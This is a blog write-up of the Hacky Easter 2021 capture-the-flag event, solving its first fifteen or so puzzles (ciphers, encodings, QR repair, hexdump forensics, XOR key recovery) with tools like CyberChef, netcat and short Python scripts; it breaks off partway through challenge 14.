HackyEaster was awesome again. From a technical point of view there weren’t too much new things, but the creativity of the provided challenges made it really fun. Including the little teaser challenge there were a total amount of 37 challenges. These challenges were divided into different levels. You could only proceed to the next level, if you have earned enough points in the current level. I really liked that new idea.
HE21.00 Teaser Challenge HE21.01 Intro HE21.02 Basement Cat HE21.03 Easy One HE21.04 Beehive HE21.05 Unicorn HE21.06 Mystical Symbols HE21.07 Caesar’s Meme HE21.08 Sunshine HE21.09 Cafe Shop HE21.10 Ghost in a Shell 1 HE21.11 Hidden HE21.12 Ansi Art HE21.13 No No No HE21.14 Haxxor what? HE21.15 Social Checker HE21.16 LOTL HE21.17 Digizzled HE21.18 Bunny Beat HE21.19 😈 HE21.20 Run Me, Baby! HE21.21 Memeory 3.0 – The Final HE21.22 46 Apes HE21.23 Eggcryptor HE21.24 Tacocat HE21.25 Lots of JWTs HE21.26 Lost HE21.27 Ghost in a Shell 2 HE21.28 Haxxor what 2? HE21.29 Sailor’s Knot HE21.30 Pix FX HE21.31 Hunny Bunny HE21.32 Two Yolks HE21.33 Finding Mnemo HE21.34 The Five Seasons HE21.35 The Snake HE21.36 Doldrums
HE21.00 Teaser Challenge
Ed wrote you a letter containing strange symbols:
;85)8( )‡0¶8† -‡*3(5;)
Can you recover the message?
|
The picture shows Edgar Allan Poe. A little bit of googling leads to this page: Gold-Bug Cipher.
After copy-pasting the message to the ciphertext field and clicking on decrypt, we get the resulting plaintext:
The flag is TEASER SOLVED CONGRATS.
HE21.01 Intro
| |||||||||
Well, this is not a real challenge yet, just a quick intro. Some would say sanity check.
Event
- The event runs until May 13, 13:37 CET.
- Please do not publish write-ups, before that.
- There's a Discord server, in case you need support.
Challenges
- Challenges have difficulty noob, easy, medium, or hard.
- Some challenges have a hint - opening the hint is free.
Flags
- Flag format: he2021{just_4n_3x4mpl3}.
- There are no flags / eggs hidden in the application - please do not attack it.
Levels
- With a certain amount of points scored in the current level, you level up.
- You can always go back to earlier levels.
That's it for now. Check the HowTo for more details.
Time to catch the first flag now! Download the image below.
Hint
Download the image. Things are flipped somehow.
|
The provided image can be flipped and scanned or the flag can be read directly from it in reverse order:
The flag is he2021{f1rst_0n3!}.
HE21.02 Basement Cat
| |||||||||
Hi, me iz Basement Cat!
Here iz flag: 5jsnZDgv9EfFeoGXZrFurdz7MWAnK2WaPfszFadr
Hint
The number on the image, is a hint! ;)
Check out Cyber Chef.
|
The provided string 5jsnZDgv9EfFeoGXZrFurdz7MWAnK2WaPfszFadr is base58 encoded and can for example be decoded using CyberChef:
The flag is he2021{meow_nice_to_meet_you}.
HE21.03 Easy One
| |||||||||
How did this happen? This was suppossed to be a valid QR code, but some ants walked across it. Can you repair the damage? Hint A tool like paint will do to solve this one. |
Some of the areas within the QR code needs to be filled with white in order to make it readable.
There is a little pitfall, because the white lines are disconnected in the middle of the image. After fixing this and filling the required areas white using paint, we get this:
The flag is he2021{W3llThatWasQu1t33Asy}.
HE21.04 Beehive
| |||||||||
There's a secret code in the beehive.
flag format: he2021{flaglower}.
Lowercase only, and no spaces!
Hint
Kim Godgul
|
A little bit of googling reveals that the encoding used is called ColorHoney.
A description can be found here:
By decoding the single honeys we get the flag:
The flag is he2021{busybee}.
HE21.05 Unicorn
| |||||||||
Ain't no CTF without a unicorn! s7GvyM1RKEstKs7Mz7NVMtQzUFJIzUvO T8nMS7dVCg1x07VQsrfj5bJJzs9LL0os KQayFRRs0nIS0+0yUo0MjAyrS/MMkw2K 8uIN84CiJcbGximKtTb6YBVAffpwjQA= Hint Decode and inflate! |
Regarding the hint, we can simply copy-paste the provided strings into CyberChef.
By choosing From Base64 and Raw Inflate we get the flag:
The flag is he2021{un1c0rn_1nflat333d!}.
HE21.06 Mystical Symbols
| |||||||||
I found these mystical symbols. What do they mean? Hint - Really mystical, isn't it? - decimal to ascii |
By googling for images with symbols myst we get the following picture, which looks promising:
There are 25 different symbols:
We have to decode every symbol to its corresponding number. Since the base of the alphabet is 25, we need to multiply the first number of each symbol with this base and add the second number. The resulting number can be converted to ASCII:
The flag is he2021{S1rruz}.
HE21.07 Caesar’s Meme
| |||||||||
As is only little known, the ancient Romans invented the memes. |
We can simply typewrite the text from the meme and copy-paste it to CyberChef.
By using ROT13 and testing different values, we get a valid result for n = 23:
The flag is he2021{imperator}.
HE21.08 Sunshine
| |||||||||
The rays of sunshine are right there, in front of your eyes. Hint It's just a little puzzle. |
I used GIMP to cut out and rotate the rays in order to reconstruct the egg with the QR code:
The flag is he2021{0h_h3llo_sunsh1ne!}.
HE21.09 Cafe Shop
| |||||||||
They have good things at the cafe shop, but I want a COLA - DECAF it must be!
Visit the shop here:
http://46.101.107.117:2104
Note: The service is restarted every hour at x:00.
Hint
They also serve hash browns, for $256.
|
On the provided website items can be ordered:
By having a look at the source code we can see that there are three possible items:
The value of these items begin with an integer (e.g. 11865457), followed by a string (e.g. Vanilla Cafe).
The relevant insight here is that the SHA256 hash of the values contain the name of the ordered item in hex:
┌──(kali㉿kali)-[~/ctf/he21/09]
└─$ echo -n '11865457 Vanilla Cafe' | sha256sum
f15bffb719f26892f17eea53dc7e3459cafe021bc0db2dce72429667d7aaee96 -
┌──(kali㉿kali)-[~/ctf/he21/09]
└─$ echo -n '42640575 Cherry Cola' | sha256sum
36bc94f7d7c3398319f2c01a9a9c583aed66d3a5e325aafa0652ceb2bdc271cf -
┌──(kali㉿kali)-[~/ctf/he21/09]
└─$ echo -n '80427209 Beef Jerky' | sha256sum
ed734b4fc622d543774121dcfb573cf53d7ddef85ebebeef9fd7cbd8bf4363c9 -
According to the challenge description we have to order a COLA – DECAF.
Thus we have to find an integer, whose SHA256 contains co1a and decaf, if followed by the string ” Cola Decaf”:
#!/usr/bin/env python3
import hashlib
i = 0
while True:
s = str(i)+' Cola Decaf'
m = hashlib.sha256()
m.update(s.encode())
h = m.hexdigest()
if ('c01a' in h and 'decaf' in h):
print(s)
quit()
i += 1
Running the script yields an appropriate input:
┌──(kali㉿kali)-[~/ctf/he21/09]
└─$ ./find_sha256.py
19614073 Cola Decaf
By submitting this id our order is accepted and an image is provided:
Now we only need to download the image …
┌──(kali㉿kali)-[~/ctf/he21/09]
└─$ wget http://46.101.107.117:2104/7ef384aa6ec128ef.png
...
… and scan the QR code:
┌──(kali㉿kali)-[~/ctf/he21/09]
└─$ zbarimg 7ef384aa6ec128ef.png
QR-Code:he2021{h3xpr3ss_urs3lf}
scanned 1 barcode symbols from 1 images in 0.05 seconds
The flag is he2021{h3xpr3ss_urs3lf}.
HE21.10 Ghost in a Shell 1
| |||||||||
_, _,_ _, _, ___ _ _, _ _, _, _,_ __, _, _, , / _ |_| / \ (_ | | |\ | /_\ (_ |_| |_ | | | \ / | | \ / , ) | | | \| | | , ) | | | | , | , | ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~~~ ~~~ ~~~ ~ ______________________________________________________________________ ,--. | oo | | ~~ | o o o o o o o o o o o o o o o o o o o o |/\/\| ______________________________________________________________________ Connect to the server, snoop around, and find the flag! - ssh 46.101.107.117 -p 2106 -l inky - password is: mucky_4444 Note: The service is restarted every hour at x:00. |
We start by ssh’ing to the provided machine:
┌──(kali㉿kali)-[~/ctf/he21/10]
└─$ ssh 46.101.107.117 -p 2106 -l inky
inky@46.101.107.117's password:
_, _,_ _, _, ___ _ _, _ _, _, _,_ __, _, _, ,
/ _ |_| / \ (_ | | |\ | /_\ (_ |_| |_ | | |
\ / | | \ / , ) | | | \| | | , ) | | | | , | , |
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~~~ ~~~ ~~~ ~
______________________________________________________________________
,--.
| oo |
| ~~ | o o o o o o o o o o o o o o o o o o o o
|/\/\|
______________________________________________________________________
Find the flag!
9aebfee25d34:~$
In the home directory of our user is a folder called images:
9aebfee25d34:~$ ls -al
total 40
drwxr-xr-x 1 root root 4096 Apr 13 14:00 .
drwxr-xr-x 1 root root 4096 Apr 3 05:23 ..
-rwxr-xr-x 1 root root 15 Apr 13 14:00 .bashrc
drwxr-xr-x 1 root root 4096 Apr 3 05:23 images
-rwxr-xr-x 1 root root 2183 Feb 27 17:53 notes.txt
drwxr-xr-x 1 root root 4096 Apr 3 05:23 text
Although it can be quickly overseen, this directory contains a directory called “…”:
9aebfee25d34:~$ ls -al images
total 304
drwxr-xr-x 1 root root 4096 Apr 3 05:23 .
drwxr-xr-x 1 root root 4096 Apr 13 14:00 ..
drwxr-xr-x 1 root root 4096 Apr 3 05:23 ...
-rwxr-xr-x 1 root root 23864 Feb 27 17:53 ghost_1.png
-rwxr-xr-x 1 root root 25957 Feb 27 17:53 ghost_2.png
-rwxr-xr-x 1 root root 37335 Feb 27 17:53 ghost_3.png
-rwxr-xr-x 1 root root 30530 Feb 27 17:53 ghost_4.png
-rwxr-xr-x 1 root root 27476 Feb 27 17:53 ghost_5.png
-rwxr-xr-x 1 root root 35378 Feb 27 17:53 ghost_6.png
-rwxr-xr-x 1 root root 31358 Feb 27 17:53 ghost_7.png
-rwxr-xr-x 1 root root 32507 Feb 27 17:53 ghost_8.png
-rwxr-xr-x 1 root root 27413 Feb 27 17:53 ghost_9.png
Within the “…” directory there is a file also called “…”:
9aebfee25d34:~$ ls -al images/.../
total 36
drwxr-xr-x 1 root root 4096 Apr 3 05:23 .
drwxr-xr-x 1 root root 4096 Apr 3 05:23 ..
-rwxr-xr-x 1 root root 20263 Feb 27 17:53 ...
We can download this file to our machine using scp:
┌──(kali㉿kali)-[~/ctf/he21/10]
└─$ scp -r -P 2106 inky@46.101.107.117:/home/inky/images/.../... loot
inky@46.101.107.117's password:
..
The file is actually an image:
┌──(kali㉿kali)-[~/ctf/he21/10]
└─$ file loot
loot: PNG image data, 1024 x 1024, 8-bit colormap, non-interlaced
Indeed the egg:
The only thing left to do is scan the QR code:
┌──(kali㉿kali)-[~/ctf/he21/10]
└─$ zbarimg loot
QR-Code:he2021{h1dd3n_d0td0td0t!}
scanned 1 barcode symbols from 1 images in 0.05 seconds
The flag is he2021{h1dd3n_d0td0td0t!}.
HE21.11 Hidden
| |||||||||
I swear I had the flag a minute ago, but now it seems to be hidden somewhere...
Go back to level 3 and analyze the files of the challenges again. If you look hard enough, you can find an additional flag.
Hint
The solution is hidden in an image. It's hidden in the file content, not in the image (no steganography).
There are some numbers in the flag: he2021{W☐0☐☐☐☐☐☐☐☐☐☐☐0☐☐☐3☐☐☐☐☐5☐}
|
This flag is hidden in challenge 08.
When running hexdump on the provided image, we can see an ASCII art flag at the end of the output:
┌──(kali㉿kali)-[~/ctf/he21/08]
└─$ hexdump -C sunshine.png
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 07 d0 00 00 05 35 08 03 00 00 00 7c f0 af |.......5.....|..|
...
00119ff0 ae 42 60 82 20 5f 20 20 20 20 20 20 20 20 20 20 |.B`. _ |
0011a000 20 20 20 20 7c 20 7c 5f 5f 20 20 20 20 20 20 20 | | |__ |
0011a010 20 20 20 20 7c 20 27 5f 20 5c 20 20 20 20 20 20 | | '_ \ |
0011a020 20 20 20 20 7c 20 7c 20 7c 20 7c 20 20 20 20 20 | | | | | |
0011a030 20 20 20 20 7c 5f 7c 20 7c 5f 7c 20 20 20 20 20 | |_| |_| |
0011a040 20 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 | ___ |
0011a050 20 20 20 20 20 2f 20 5f 20 5c 20 20 20 20 20 20 | / _ \ |
0011a060 20 20 20 20 7c 20 20 5f 5f 2f 20 20 20 20 20 20 | | __/ |
0011a070 20 20 20 20 20 5c 5f 5f 5f 7c 20 20 20 20 20 20 | \___| |
0011a080 20 20 20 20 20 5f 5f 5f 5f 20 20 20 20 20 20 20 | ____ |
0011a090 20 20 20 20 7c 5f 5f 5f 20 5c 20 20 20 20 20 20 | |___ \ |
0011a0a0 20 20 20 20 20 20 5f 5f 29 20 7c 20 20 20 20 20 | __) | |
0011a0b0 20 20 20 20 20 2f 20 5f 5f 2f 20 20 20 20 20 20 | / __/ |
0011a0c0 20 20 20 20 7c 5f 5f 5f 5f 5f 7c 20 20 20 20 20 | |_____| |
0011a0d0 20 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 | ___ |
0011a0e0 20 20 20 20 20 2f 20 5f 20 5c 20 20 20 20 20 20 | / _ \ |
0011a0f0 20 20 20 20 7c 20 7c 20 7c 20 7c 20 20 20 20 20 | | | | | |
0011a100 20 20 20 20 7c 20 7c 5f 7c 20 7c 20 20 20 20 20 | | |_| | |
0011a110 20 20 20 20 20 5c 5f 5f 5f 2f 20 20 20 20 20 20 | \___/ |
0011a120 20 20 20 20 20 5f 5f 5f 5f 20 20 20 20 20 20 20 | ____ |
0011a130 20 20 20 20 7c 5f 5f 5f 20 5c 20 20 20 20 20 20 | |___ \ |
0011a140 20 20 20 20 20 20 5f 5f 29 20 7c 20 20 20 20 20 | __) | |
0011a150 20 20 20 20 20 2f 20 5f 5f 2f 20 20 20 20 20 20 | / __/ |
0011a160 20 20 20 20 7c 5f 5f 5f 5f 5f 7c 20 20 20 20 20 | |_____| |
0011a170 20 20 20 20 20 5f 20 20 20 20 20 20 20 20 20 20 | _ |
0011a180 20 20 20 20 2f 20 7c 20 20 20 20 20 20 20 20 20 | / | |
0011a190 20 20 20 20 7c 20 7c 20 20 20 20 20 20 20 20 20 | | | |
*
0011a1b0 20 20 20 20 7c 5f 7c 20 20 20 20 20 20 20 20 20 | |_| |
0011a1c0 20 20 20 20 20 20 20 5f 5f 20 20 20 20 20 20 20 | __ |
0011a1d0 20 20 20 20 20 20 2f 20 2f 20 20 20 20 20 20 20 | / / |
0011a1e0 20 20 20 20 20 7c 20 7c 20 20 20 20 20 20 20 20 | | | |
0011a1f0 20 20 20 20 3c 20 3c 20 20 20 20 20 20 20 20 20 | < < |
0011a200 20 20 20 20 20 7c 20 7c 20 20 20 20 20 20 20 20 | | | |
0011a210 20 20 20 20 20 20 5c 5f 5c 20 20 20 20 20 20 20 | \_\ |
0011a220 20 20 20 20 5f 5f 20 20 20 20 20 20 20 20 5f 5f | __ __|
0011a230 20 20 20 20 5c 20 5c 20 20 20 20 20 20 2f 20 2f | \ \ / /|
0011a240 20 20 20 20 20 5c 20 5c 20 2f 5c 20 2f 20 2f 20 | \ \ /\ / / |
0011a250 20 20 20 20 20 20 5c 20 56 20 20 56 20 2f 20 20 | \ V V / |
0011a260 20 20 20 20 20 20 20 5c 5f 2f 5c 5f 2f 20 20 20 | \_/\_/ |
0011a270 20 20 20 20 20 5f 20 20 20 20 20 20 20 20 20 20 | _ |
0011a280 20 20 20 20 7c 20 7c 5f 5f 20 20 20 20 20 20 20 | | |__ |
0011a290 20 20 20 20 7c 20 27 5f 20 5c 20 20 20 20 20 20 | | '_ \ |
0011a2a0 20 20 20 20 7c 20 7c 20 7c 20 7c 20 20 20 20 20 | | | | | |
0011a2b0 20 20 20 20 7c 5f 7c 20 7c 5f 7c 20 20 20 20 20 | |_| |_| |
0011a2c0 20 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 | ___ |
0011a2d0 20 20 20 20 20 2f 20 5f 20 5c 20 20 20 20 20 20 | / _ \ |
0011a2e0 20 20 20 20 7c 20 7c 20 7c 20 7c 20 20 20 20 20 | | | | | |
0011a2f0 20 20 20 20 7c 20 7c 5f 7c 20 7c 20 20 20 20 20 | | |_| | |
0011a300 20 20 20 20 20 5c 5f 5f 5f 2f 20 20 20 20 20 20 | \___/ |
0011a310 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
*
0011a350 20 20 20 20 20 5f 5f 5f 5f 5f 20 20 20 20 20 20 | _____ |
0011a360 20 20 20 20 7c 5f 5f 5f 5f 5f 7c 20 20 20 20 20 | |_____| |
0011a370 20 20 20 20 20 5f 20 20 20 20 20 20 20 20 20 20 | _ |
0011a380 20 20 20 20 28 5f 29 20 20 20 20 20 20 20 20 20 | (_) |
0011a390 20 20 20 20 7c 20 7c 20 20 20 20 20 20 20 20 20 | | | |
*
0011a3b0 20 20 20 20 7c 5f 7c 20 20 20 20 20 20 20 20 20 | |_| |
0011a3c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
0011a3d0 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 20 | ___ |
0011a3e0 20 20 20 20 2f 20 5f 5f 7c 20 20 20 20 20 20 20 | / __| |
0011a3f0 20 20 20 20 5c 5f 5f 20 5c 20 20 20 20 20 20 20 | \__ \ |
0011a400 20 20 20 20 7c 5f 5f 5f 2f 20 20 20 20 20 20 20 | |___/ |
0011a410 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
*
0011a450 20 20 20 20 20 5f 5f 5f 5f 5f 20 20 20 20 20 20 | _____ |
0011a460 20 20 20 20 7c 5f 5f 5f 5f 5f 7c 20 20 20 20 20 | |_____| |
0011a470 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
0011a480 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 20 | ___ |
0011a490 20 20 20 20 2f 20 5f 5f 7c 20 20 20 20 20 20 20 | / __| |
0011a4a0 20 20 20 20 5c 5f 5f 20 5c 20 20 20 20 20 20 20 | \__ \ |
0011a4b0 20 20 20 20 7c 5f 5f 5f 2f 20 20 20 20 20 20 20 | |___/ |
0011a4c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
0011a4d0 20 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 | ___ |
0011a4e0 20 20 20 20 20 2f 20 5f 5f 7c 20 20 20 20 20 20 | / __| |
0011a4f0 20 20 20 20 7c 20 28 5f 5f 20 20 20 20 20 20 20 | | (__ |
0011a500 20 20 20 20 20 5c 5f 5f 5f 7c 20 20 20 20 20 20 | \___| |
0011a510 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
0011a520 20 20 20 20 20 20 5f 5f 20 5f 20 20 20 20 20 20 | __ _ |
0011a530 20 20 20 20 20 2f 20 5f 60 20 7c 20 20 20 20 20 | / _` | |
0011a540 20 20 20 20 7c 20 28 5f 7c 20 7c 20 20 20 20 20 | | (_| | |
0011a550 20 20 20 20 20 5c 5f 5f 2c 5f 7c 20 20 20 20 20 | \__,_| |
0011a560 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
0011a570 20 20 20 20 20 5f 20 5f 5f 20 20 20 20 20 20 20 | _ __ |
0011a580 20 20 20 20 7c 20 27 5f 5f 7c 20 20 20 20 20 20 | | '__| |
0011a590 20 20 20 20 7c 20 7c 20 20 20 20 20 20 20 20 20 | | | |
0011a5a0 20 20 20 20 7c 5f 7c 20 20 20 20 20 20 20 20 20 | |_| |
0011a5b0 20 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 | ___ |
0011a5c0 20 20 20 20 20 2f 20 5f 20 5c 20 20 20 20 20 20 | / _ \ |
0011a5d0 20 20 20 20 7c 20 20 5f 5f 2f 20 20 20 20 20 20 | | __/ |
0011a5e0 20 20 20 20 20 5c 5f 5f 5f 7c 20 20 20 20 20 20 | \___| |
0011a5f0 20 20 20 20 20 20 20 20 20 5f 20 20 20 20 20 20 | _ |
0011a600 20 20 20 20 20 20 5f 5f 7c 20 7c 20 20 20 20 20 | __| | |
0011a610 20 20 20 20 20 2f 20 5f 60 20 7c 20 20 20 20 20 | / _` | |
0011a620 20 20 20 20 7c 20 28 5f 7c 20 7c 20 20 20 20 20 | | (_| | |
0011a630 20 20 20 20 20 5c 5f 5f 2c 5f 7c 20 20 20 20 20 | \__,_| |
0011a640 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
*
0011a680 20 20 20 20 20 5f 5f 5f 5f 5f 20 20 20 20 20 20 | _____ |
0011a690 20 20 20 20 7c 5f 5f 5f 5f 5f 7c 20 20 20 20 20 | |_____| |
0011a6a0 20 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 | ___ |
0011a6b0 20 20 20 20 20 2f 20 5f 20 5c 20 20 20 20 20 20 | / _ \ |
0011a6c0 20 20 20 20 7c 20 7c 20 7c 20 7c 20 20 20 20 20 | | | | | |
0011a6d0 20 20 20 20 7c 20 7c 5f 7c 20 7c 20 20 20 20 20 | | |_| | |
0011a6e0 20 20 20 20 20 5c 5f 5f 5f 2f 20 20 20 20 20 20 | \___/ |
0011a6f0 20 20 20 20 20 20 5f 5f 20 20 20 20 20 20 20 20 | __ |
0011a700 20 20 20 20 20 2f 20 5f 7c 20 20 20 20 20 20 20 | / _| |
0011a710 20 20 20 20 7c 20 7c 5f 20 20 20 20 20 20 20 20 | | |_ |
0011a720 20 20 20 20 7c 20 20 5f 7c 20 20 20 20 20 20 20 | | _| |
0011a730 20 20 20 20 7c 5f 7c 20 20 20 20 20 20 20 20 20 | |_| |
0011a740 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
*
0011a780 20 20 20 20 20 5f 5f 5f 5f 5f 20 20 20 20 20 20 | _____ |
0011a790 20 20 20 20 7c 5f 5f 5f 5f 5f 7c 20 20 20 20 20 | |_____| |
0011a7a0 20 20 20 20 20 5f 20 20 20 20 20 20 20 20 20 20 | _ |
0011a7b0 20 20 20 20 7c 20 7c 5f 5f 20 20 20 20 20 20 20 | | |__ |
0011a7c0 20 20 20 20 7c 20 27 5f 20 5c 20 20 20 20 20 20 | | '_ \ |
0011a7d0 20 20 20 20 7c 20 7c 20 7c 20 7c 20 20 20 20 20 | | | | | |
0011a7e0 20 20 20 20 7c 5f 7c 20 7c 5f 7c 20 20 20 20 20 | |_| |_| |
0011a7f0 20 20 20 20 20 5f 5f 5f 5f 5f 20 20 20 20 20 20 | _____ |
0011a800 20 20 20 20 7c 5f 5f 5f 20 2f 20 20 20 20 20 20 | |___ / |
0011a810 20 20 20 20 20 20 7c 5f 20 5c 20 20 20 20 20 20 | |_ \ |
0011a820 20 20 20 20 20 5f 5f 5f 29 20 7c 20 20 20 20 20 | ___) | |
0011a830 20 20 20 20 7c 5f 5f 5f 5f 2f 20 20 20 20 20 20 | |____/ |
0011a840 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
0011a850 20 20 20 20 5f 5f 20 20 5f 5f 20 20 20 20 20 20 | __ __ |
0011a860 20 20 20 20 5c 20 5c 2f 20 2f 20 20 20 20 20 20 | \ \/ / |
0011a870 20 20 20 20 20 3e 20 20 3c 20 20 20 20 20 20 20 | > < |
0011a880 20 20 20 20 2f 5f 2f 5c 5f 5c 20 20 20 20 20 20 | /_/\_\ |
0011a890 20 20 20 20 20 20 20 20 20 5f 20 20 20 20 20 20 | _ |
0011a8a0 20 20 20 20 20 20 5f 5f 7c 20 7c 20 20 20 20 20 | __| | |
0011a8b0 20 20 20 20 20 2f 20 5f 60 20 7c 20 20 20 20 20 | / _` | |
0011a8c0 20 20 20 20 7c 20 28 5f 7c 20 7c 20 20 20 20 20 | | (_| | |
0011a8d0 20 20 20 20 20 5c 5f 5f 2c 5f 7c 20 20 20 20 20 | \__,_| |
0011a8e0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
0011a8f0 20 20 20 20 20 5f 20 20 20 5f 20 20 20 20 20 20 | _ _ |
0011a900 20 20 20 20 7c 20 7c 20 7c 20 7c 20 20 20 20 20 | | | | | |
0011a910 20 20 20 20 7c 20 7c 5f 7c 20 7c 20 20 20 20 20 | | |_| | |
0011a920 20 20 20 20 20 5c 5f 5f 2c 5f 7c 20 20 20 20 20 | \__,_| |
0011a930 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
0011a940 20 20 20 20 20 5f 20 5f 5f 20 5f 5f 5f 20 20 20 | _ __ ___ |
0011a950 20 20 20 20 7c 20 27 5f 20 60 20 5f 20 5c 20 20 | | '_ ` _ \ |
0011a960 20 20 20 20 7c 20 7c 20 7c 20 7c 20 7c 20 7c 20 | | | | | | | |
0011a970 20 20 20 20 7c 5f 7c 20 7c 5f 7c 20 7c 5f 7c 20 | |_| |_| |_| |
0011a980 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
0011a990 20 20 20 20 20 5f 20 5f 5f 20 20 20 20 20 20 20 | _ __ |
0011a9a0 20 20 20 20 7c 20 27 5f 20 5c 20 20 20 20 20 20 | | '_ \ |
0011a9b0 20 20 20 20 7c 20 7c 5f 29 20 7c 20 20 20 20 20 | | |_) | |
0011a9c0 20 20 20 20 7c 20 2e 5f 5f 2f 20 20 20 20 20 20 | | .__/ |
0011a9d0 20 20 20 20 7c 5f 7c 20 20 20 20 20 20 20 20 20 | |_| |
0011a9e0 20 20 20 20 20 5f 5f 5f 5f 20 20 20 20 20 20 20 | ____ |
0011a9f0 20 20 20 20 7c 20 5f 5f 5f 7c 20 20 20 20 20 20 | | ___| |
0011aa00 20 20 20 20 7c 5f 5f 5f 20 5c 20 20 20 20 20 20 | |___ \ |
0011aa10 20 20 20 20 20 5f 5f 5f 29 20 7c 20 20 20 20 20 | ___) | |
0011aa20 20 20 20 20 7c 5f 5f 5f 5f 2f 20 20 20 20 20 20 | |____/ |
0011aa30 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 20 | ___ |
0011aa40 20 20 20 20 7c 5f 5f 20 5c 20 20 20 20 20 20 20 | |__ \ |
0011aa50 20 20 20 20 20 20 2f 20 2f 20 20 20 20 20 20 20 | / / |
0011aa60 20 20 20 20 20 7c 5f 7c 20 20 20 20 20 20 20 20 | |_| |
0011aa70 20 20 20 20 20 28 5f 29 20 20 20 20 20 20 20 20 | (_) |
0011aa80 20 20 20 20 5f 5f 20 20 20 20 20 20 20 20 20 20 | __ |
0011aa90 20 20 20 20 5c 20 5c 20 20 20 20 20 20 20 20 20 | \ \ |
0011aaa0 20 20 20 20 20 7c 20 7c 20 20 20 20 20 20 20 20 | | | |
0011aab0 20 20 20 20 20 20 3e 20 3e 20 20 20 20 20 20 20 | > > |
0011aac0 20 20 20 20 20 7c 20 7c 20 20 20 20 20 20 20 20 | | | |
0011aad0 20 20 20 20 2f 5f 2f 20 20 20 20 20 20 20 20 20 | /_/ |
0011aae0 20 20 20 20 0a | .|
0011aae5
I wasted some time trying to enter this flag for challenge 8, because I hexdump‘ed the image before looking at it.
The flag is he2021{who_is_scared_of_h3xdump5?}.
HE21.12 Ansi Art
| |||||||||
Hope you like my ansi art egg!
Get it with nc 46.101.107.117 2105
Note: The service is restarted every hour at x:00.
|
The provided service outputs an ASCII art egg:
We can pipe the output to a file, to further analyze it:
┌──(kali㉿kali)-[~/ctf/he21/12]
└─$ nc 46.101.107.117 2105 > out
By running strings on the output we can display the ANSI escape codes:
┌──(kali㉿kali)-[~/ctf/he21/12]
└─$ strings out
[38;5;16;48;5;16m
[38;5;16;48;5;16m
[38;5;16;48;5;16m
[38;5;16;48;5;16m
[38;5;16;48;5;16m
...
[38;5;74;48;5;235m
[38;5;74;48;5;235m
...
If we filter out [38, we can see the single characters of the flag:
┌──(kali㉿kali)-[~/ctf/he21/12]
└─$ strings out | grep -v '\[38'
[30mh
[31me
[32m2
[33m0
[34m2
[35m1
[36m{
[37m4
[90mN
[91ms
[92m1
[93mM
[94mG
[95m1
[96mk
[97m}
Now we only need to extract the characters:
┌──(kali㉿kali)-[~/ctf/he21/12]
└─$ strings out2 | grep -v '\[38' | grep -o '.$' | tr -d '\n'
he2021{4Ns1MG1k}
The flag is he2021{4Ns1MG1k}.
HE21.13 No No No
| |||||||||
No! No... nono .. Where's the egg??? Hint - Using a tool might be a good idea here. - There is a small glitch - if you don't get a solution, try something else. |
Using this nice online solver the greatest challenge was to write down the values from the image:
The flag is he2021{Y3sY3sY3sgram_s0unds_a_l0t_nic3r}.
HE21.14 Haxxor what?
| |||||||||
I got this image of an Easter egg.
But what kind of encryption is this?!
haxxorwhat
Hint
The original file is an image.
|
According to file the provided file is just data:
┌──(kali㉿kali)-[~/ctf/he21/14]
└─$ file haxxorwhat
haxxorwhat: data
Also with hexdump we cannot yet see anything of interest:
┌──(kali㉿kali)-[~/ctf/he21/14]
└─$ hexdump -C haxxorwhat
00000000 e1 31 36 3f 62 78 69 2b 68 61 78 75 26 3a 37 73 |.16?bxi+haxu&:7s|
00000010 68 61 7c 78 6f 72 77 21 60 62 78 78 6f 3a b0 fa |ha|xorw!`bxxo:..|
00000020 d9 61 78 78 6b 15 32 6c 29 61 78 c9 e0 79 8f 40 |.axxk.2l)ax..y.@|
00000030 6d 61 78 78 4f 11 3b 73 25 61 78 02 49 72 73 a1 |maxxO.;s%ax.Irs.|
00000040 ec 61 78 82 6f 72 73 a1 80 61 78 0d 5f 72 73 cb |.ax.ors..ax._rs.|
00000050 08 61 78 42 f7 72 73 36 18 fd c2 29 53 72 73 23 |.axB.rs6...)Srs#|
00000060 4a 31 34 2c 2a 35 03 6d 68 61 78 7a 6d 70 77 24 |J14,*5.mhaxzmpw$|
00000070 6e 69 72 73 62 62 61 32 70 7b 61 67 4d 6d 54 0a |nirsbba2p{agMmT.|
00000080 4d 4e 4b 53 59 49 73 21 68 51 44 3a 4b 34 41 0f |MNKSYIs!hQD:K4A.|
00000090 3c 5a 42 1f 28 34 0b 73 3c ef 19 1b cc 1c 03 99 |<ZB.(4.s<.......|
...
The name of the challenge and the file contains xor and the file is supposed to be an image.
Assuming the image is a PNG, the header of it will be constant. Thus we can take any PNG (e.g. from challenge 10) and XOR the header with the beginning of the data of the file haxxorwhat. The result of this is the XOR key used:
>>> ct1 = open('haxxorwhat','rb').read()
>>> ct2 = open('../10/flag','rb').read()
>>> r = b''
>>> for i in range(16):
... r += bytes([ct1[i]^ct2[i]])
...
>>> r
b'haxxors!haxxors!'
Accordingly the XOR key is haxxors!.
